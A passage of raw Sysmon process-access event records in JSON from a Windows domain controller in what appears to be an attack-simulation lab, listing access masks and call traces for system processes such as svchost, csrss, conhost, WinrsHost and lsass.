\r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4507,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4508,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4509,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4510,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.053\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.053","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4511,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.069\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nSourceProcessId: 4108\r\nSourceThreadId: 3644\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001000730600}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.069","SourceProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","SourceProcessId":"4108","SourceThreadId":"3644","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001000730600}","TargetProcessId":"2900","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4512,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.069\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001000730600}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.069","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001000730600}","TargetProcessId":"2900","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4513,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.084\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 1988\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001000730600}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.084","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"1988","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001000730600}","TargetProcessId":"2900","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4514,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.100\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.100","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\